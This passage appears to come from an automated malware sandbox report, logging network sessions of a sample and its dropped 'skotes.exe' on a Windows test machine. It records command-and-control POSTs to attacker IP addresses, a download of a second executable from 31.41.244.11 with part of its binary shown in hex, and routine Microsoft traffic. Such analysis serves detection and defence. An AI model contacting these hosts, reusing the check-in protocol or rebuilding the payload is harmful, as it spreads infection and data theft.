Dec 8, 2024 17:45:57.935739994 CET	1236	IN	Data Raw: 57 d2 29 f9 47 32 d2 43 bf 76 73 6a b8 6e 0b a9 72 12 e3 e1 aa 93 ed f9 e7 93 b0 ca 73 f8 f8 61 bb d5 29 f9 47 36 d9 43 bf 76 13 6a b8 6e 0b 09 73 12 e3 e1 8a 90 ed f9 e7 93 b0 ca 73 f8 f4 61 a3 d5 29 f9 47 82 df 43 bf 76 33 6a b8 6e 0b e9 73 12 Data Ascii: W)G2Cvsjnrsa)G6Cvjnssa)GCv3jnsjsa)GCvjnIlJsa)GCvjn)l*sa)G:Cvjnlsa)GRCvjnimsa)GCvSmnm
Dec 8, 2024 17:45:57.935750961 CET	1236	IN	Data Raw: ea ac ed f9 e7 93 b0 ca 73 f8 e8 61 2f d4 29 f9 47 0a d5 43 bf 76 53 61 b8 6e 0b c9 61 12 e3 e1 ca ac ed f9 e7 93 b0 ca 73 f8 e8 61 27 d4 29 f9 47 ea d8 43 bf 76 73 61 b8 6e 0b a9 61 12 e3 e1 aa ac ed f9 e7 93 b0 ca 73 f8 f4 61 5f d4 29 f9 47 aa Data Ascii: sa/)GCvSanasa')GCvsanasa_)GCvanbsaS)GCv3anbjsaK)GCvanIcJsaw)GCvan)c*sac)G&Cvancsa)G
Dec 8, 2024 17:45:57.935909033 CET	1236	IN	Data Raw: bf 76 93 65 b8 6e 0b 89 97 12 e3 e1 0a a9 ed f9 e7 93 b0 ca 73 f8 f0 61 7b d8 29 f9 47 52 df 43 bf 76 b3 65 b8 6e 0b 69 90 12 e3 e1 ea a9 ed f9 e7 93 b0 ca 73 f8 f4 61 6b d8 29 f9 47 ea dd 43 bf 76 53 64 b8 6e 0b c9 90 12 e3 e1 ca a9 ed f9 e7 93 Data Ascii: vensa{)GRCvenisak)GCvSdnsa)GCvsdnsa)GjCvdns a)GCv3dnjsa)GJCvdnIJsa;)GCvdn)*
Dec 8, 2024 17:45:57.935921907 CET	1236	IN	Data Raw: 79 76 8b d8 b8 6e 4e 5d e2 14 e3 c4 17 f6 07 43 bf de 7c 09 2f de 7c c4 73 9a b0 ca 73 9a b0 ca 73 05 76 ed e5 db 19 8d 3b 64 19 82 c9 ae 02 5a 7a d5 b5 73 a7 76 c1 55 ba 6e aa 86 a4 6e e3 f9 96 e4 36 84 be a6 fa f9 be 6e 01 5a 7a 07 76 7a b7 d5 Data Ascii: yvnN]C\|/\|sssv;dZzsvUnn6nZzvzrnp:V[noS{ZhISDvOn1nNunnSXG0ssv2Zzssnsssv:r^o
Dec 8, 2024 17:45:57.935961008 CET	1236	IN	Data Raw: c8 ae 02 0c 94 0d ad 8e be 9a b0 ca 73 05 76 ed 32 11 ef 53 32 e5 f4 0c e5 52 26 47 bb e5 f2 0c b5 2b 28 8d 0b 57 53 86 1c 0d ad 8e be 20 a3 58 1c 90 f4 f9 72 9a b0 ca 73 9a b0 ca 73 03 76 dd 3a 7a f4 04 9b 66 6f c5 bb 05 76 6c bb d9 10 a5 ba db Data Ascii: sv2S2R&G+(WS Xrssv:zfovll<n&nnn0PpBOna2<<QVvt)vnivRcNpF7<N3`0BVFmB)1lvans=
Dec 8, 2024 17:45:58.056329012 CET	1236	IN	Data Raw: 38 15 e3 0a ed 52 a9 43 87 51 3c 0a f4 62 f3 50 7f 97 ea 15 b4 15 e3 49 15 5f b9 87 96 17 f0 84 be db 31 fd 3a 92 f4 c0 b5 7e fb 42 bf db aa b5 73 0c 8b 75 5b 51 e3 0c 94 0d ad 82 be 9a b0 ca 73 9a b0 ca 73 9a b0 ca 73 05 76 ed 11 6f 14 31 30 12 Data Ascii: 8RCQ<bPI_1:~Bsu[Qsssvo10eXnnn0P)nvrvn^vCoPvnB9?9bn~eO[zv:zSBVQVv2:j*nuTn@7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49881	185.215.113.206	80	7296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:46:03.532131910 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKKJDBFBKKJEBFHJEHJD--
Dec 8, 2024 17:46:05.367079020 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50020	185.215.113.43	80	6468	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:47:05.260909081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 17:47:06.597440958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 16:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50027	185.215.113.43	80	6468	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:47:08.227082968 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 39 37 39 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B02979B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 8, 2024 17:47:09.605474949 CET	998	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 16:47:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 32 37 0d 0a 20 3c 63 3e 31 30 31 33 32 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 61 63 37 31 35 31 34 65 64 30 37 62 30 31 63 31 33 30 33 36 66 39 63 66 62 66 30 31 31 62 39 39 66 39 61 35 35 33 36 65 36 23 31 30 31 33 32 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 61 63 37 31 35 31 34 65 64 30 37 62 30 31 63 31 33 30 33 37 37 63 62 63 61 63 66 30 65 38 32 61 34 39 61 35 35 33 36 65 36 23 31 30 31 33 32 31 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 64 63 62 31 38 31 34 65 65 30 61 62 36 31 35 31 37 30 33 35 32 62 63 66 36 62 37 34 30 65 62 38 37 39 61 35 35 33 36 65 36 [TRUNCATED] Data Ascii: 327 <c>1013209001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2ac71514ed07b01c13036f9cfbf011b99f9a5536e6#1013210001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2ac71514ed07b01c130377cbcacf0e82a49a5536e6#1013215001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2dcb1814ee0ab615170352bcf6b740eb879a5536e6#1013220001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c29c7191ce601b3181c03529cc4ee2980949a5536e6#1013225001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013226001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013227001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013228001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50032	31.41.244.11	80	6468	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:47:09.732650042 CET	66	OUT	GET /files/6554834407/ZdGtikR.exe HTTP/1.1 Host: 31.41.244.11
Dec 8, 2024 17:47:11.059154987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 16:47:10 GMT Content-Type: application/octet-stream Content-Length: 2347520 Last-Modified: Sun, 08 Dec 2024 15:22:34 GMT Connection: keep-alive ETag: "6755b9ba-23d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 44 d8 fe 65 00 b9 90 36 00 b9 90 36 00 b9 90 36 14 d2 95 37 01 b9 90 36 14 d2 93 37 02 b9 90 36 14 d2 94 37 12 b9 90 36 14 d2 91 37 11 b9 90 36 00 b9 91 36 a0 b9 90 36 14 d2 98 37 0a b9 90 36 14 d2 6f 36 01 b9 90 36 14 d2 92 37 01 b9 90 36 52 69 63 68 00 b9 90 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f8 c4 1b ae 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 14 00 7c 00 00 00 52 23 00 00 00 00 00 00 82 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 24 00 00 04 00 00 38 e0 23 00 02 00 60 c1 00 00 08 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$De666767676766676o6676Rich6PEd"\|R#@0$8#` < # $ T( .text{\| `.rdata"$@@.data@.pdata@@.rsrc0#"#@@.reloc $#@B
Dec 8, 2024 17:47:11.059206009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc cc cc cc 45 33 c9 48 8d 42 ff 41 ba fe ff ff 7f 41 bb 57 00 Data Ascii: E3HBAAWI;EGExGHt"L+L+IHtAtHHuHHAHEHEAAzHtAE3LMHAWIBH=EGEx5IHMt8tH
Dec 8, 2024 17:47:11.059218884 CET	1236	IN	Data Raw: 0f 1f 44 00 00 48 8b 4d 2f 48 ff 15 8d 7d 00 00 0f 1f 44 00 00 8b 45 27 eb 19 8b 0d 91 ac 00 00 bb 01 00 00 00 8b 45 27 85 c0 0f 45 cb 89 0d 7e ac 00 00 48 8b 4d 47 48 33 cc e8 96 6f 00 00 4c 8d 9c 24 90 00 00 00 49 8b 5b 10 49 8b 73 18 49 8b 7b Data Ascii: DHM/H}DE'E'E~HMGH3oL$I[IsI{ Ms(I]H\$WH0HH3H$ IIHt'uIIwHHDh3iHDHH6HLD$ AD$ H
Dec 8, 2024 17:47:11.059302092 CET	1236	IN	Data Raw: 44 24 40 ba 00 02 00 00 48 8b cb e8 89 f6 ff ff e9 4d 02 00 00 83 25 d9 c4 00 00 fb 66 44 39 2d e5 c4 00 00 75 25 41 b8 04 01 00 00 48 8d 54 24 40 48 8d 4c 24 40 4c 8d 35 bc 7d 00 00 48 ff 15 45 7a 00 00 0f 1f 44 00 00 eb 07 4c 8d 35 b7 7d 00 00 Data Ascii: D$@HM%fD9-u%AHT$@HL$@L5}HEzDL5}D8.HD$@HD$(LHEMH\|$ H^E3LD$@%Dl$(3D$ 33.H@cHHP}\$(HT$ DLJ~HwDukH
Dec 8, 2024 17:47:11.059319973 CET	896	IN	Data Raw: 01 00 00 8b d6 48 8d 4d 70 48 ff 15 bd 73 00 00 0f 1f 44 00 00 4c 8d 05 49 79 00 00 8b d6 48 8d 4d 70 e8 3e 5d 00 00 48 8d 4d 70 48 ff 15 a3 73 00 00 0f 1f 44 00 00 48 8b f8 48 85 c0 0f 84 cf 00 00 00 48 8d 15 2b 79 00 00 48 8b c8 48 ff 15 c9 73 Data Ascii: HMpHsDLIyHMp>]HMpHsDHHH+yHHsDHHHAHsDHHL$`HDsDtL$xHL$`\HL-HHB<(uHT$`HH<uHPH@HtDHHuY!
Dec 8, 2024 17:47:11.059333086 CET	1236	IN	Data Raw: 00 0f 1f 44 00 00 48 8d 4d 60 48 ff 15 4c 70 00 00 0f 1f 44 00 00 48 8d 54 24 20 48 8b ce 48 ff 15 f0 71 00 00 0f 1f 44 00 00 85 c0 0f 85 09 ff ff ff 48 8b ce 48 ff 15 81 72 00 00 0f 1f 44 00 00 48 8b cf 48 ff 15 6a 70 00 00 0f 1f 44 00 00 48 8b Data Ascii: DHM`HLpDHT$ HHqDHHrDHHjpDHpH3NbL$I[(Is0IA__]H\$WH@HH3H$0HL$ 3HoDtjLPuHL$ YLL$ E333HoDS@HL$ H
Dec 8, 2024 17:47:11.059413910 CET	1236	IN	Data Raw: 84 41 01 00 00 41 80 fe 57 0f 84 21 01 00 00 4c 8d 05 3b 71 00 00 c7 44 24 34 04 01 00 00 48 8d 44 24 40 ba 04 01 00 00 4c 2b c0 48 8d 4c 24 40 48 8d 82 fa fe ff 7f 48 85 c0 74 12 41 8a 04 08 84 c0 74 0a 88 01 49 03 cf 49 2b d7 75 e2 48 85 d2 48 Data Ascii: AAW!L;qD$4HD$@L+HL$@HHtAtII+uHHALHEHL$@@8THD$8AE3HD$ HT$@HHjDHL$8HD$4HD$(LL$0E3H\$ HoHjDuID$0u9AHT$@HH7l
Dec 8, 2024 17:47:11.059426069 CET	1236	IN	Data Raw: 00 00 77 0f 48 8b d6 48 2b d3 48 81 c2 00 04 00 00 eb 02 33 d2 4c 8d 44 24 20 48 8b cb e8 7b e4 ff ff 49 8b c7 48 ff c0 80 3c 03 00 75 f7 eb 51 48 0f be 0f 48 ff 15 ba 69 00 00 0f 1f 44 00 00 3c 45 75 42 48 3b de 72 1d 48 8b c3 48 2b c6 48 3d 00 Data Ascii: wHH+H3LD$ H{IH<uQHHiD<EuBH;rHH+H=wHH+H3LD$ H(IH<uH?#uHH(iDHHHiDHH$0H39XH$xH@A__^H\$Ht$
Dec 8, 2024 17:47:11.059436083 CET	1236	IN	Data Raw: 0b 00 00 85 c0 74 78 0f b7 05 2b ae 00 00 66 41 2b c6 66 83 f8 02 77 db f7 05 03 ae 00 00 00 01 00 00 74 cf 44 84 35 ae 9c 00 00 75 c6 e8 7b e2 ff ff 85 c0 75 bd 48 c7 44 24 28 3e 08 00 00 4c 8d 0d 7b e4 ff ff 45 33 c0 48 c7 44 24 20 47 05 00 00 Data Ascii: tx+fA+fwtD5u{uHD$(>L{E3HD$ G-JH==u!\|$(E3D$ 3H$@H3SH$HPA^_^H\$WH`HH3H$P3f9=u+9=u/f9=
Dec 8, 2024 17:47:11.059556007 CET	896	IN	Data Raw: 44 00 00 c7 05 20 93 00 00 01 00 00 00 33 c0 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 7c 24 20 41 57 48 83 ec 30 41 bf 10 00 00 00 48 8b f9 41 2b d7 0f 84 ab 02 00 00 41 8d 5f f1 81 ea 00 01 00 00 0f 84 17 02 Data Ascii: D 3H0[H\$Hl$H\|$ AWH0AHA+A_;t3L+L+I4lHLAH_DHu!d$(E3E3D\|$ 3m}Ln5HHW_D
Dec 8, 2024 17:47:11.178766012 CET	1236	IN	Data Raw: 00 00 0f 1f 44 00 00 48 8b d0 48 8b cb e8 c3 13 00 00 48 8d 15 cc 9c 00 00 48 8b cb 48 ff 15 1a 5c 00 00 0f 1f 44 00 00 4c 8b 05 6e 9f 00 00 ba 38 08 00 00 48 8b cb 48 ff 15 87 5c 00 00 0f 1f 44 00 00 48 8b cb 48 ff 15 30 5c 00 00 0f 1f 44 00 00 Data Ascii: DHHHHH\DLn8HH\DHH0\DHM\DH [H\$Ht$WH0IH+t/t3H3HYDHcHHH

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:03 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-12-08 16:45:03 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-08 16:45:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 08 Dec 2024 16:44:03 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: 1374507a-e04f-4bb0-9343-705a8a44da7f PPServer: PPV: 30 H: SN1PEPF0002FA7F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 08 Dec 2024 16:45:03 GMT Connection: close Content-Length: 11197
2024-12-08 16:45:03 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49711	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:05 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=02e2514c7fff4cd48b79cb42973cdf26&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619826&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619826&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: 2brk1iqH4EiC1FVl.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:06 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: eSPs4OZpLNrQUZ6dPuucANCIa5SPzCllGcvs6QcVrBZbGPcVU9N6rWmsDGbBBka4EABHQ7uEmN+P+BVQaXfm5+i3M+98i31EKLV9pfytNokd7jzK23U6GW0DHnh28aSZOWL2tyZkUpR2uj3pnXr2pLrvzVo88rPfgjVZp7TD9OgoKqbujb/EdFtkD8mRW+tw9PG27fU2pTvKHK4MIqjFNYveGWt39TB3MpTZeoI7ciTArq/+ttjZCDos/Y2zlIX6CYFSSBzPj7tzLpz4sFCfvTdhAsuilPcMGro1sgdQPboPEstY8uulXfW4pPToREFfK8Dni7YX6xkm6QdFU0sEyQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:05 GMT Connection: close
2024-12-08 16:45:06 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49710	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
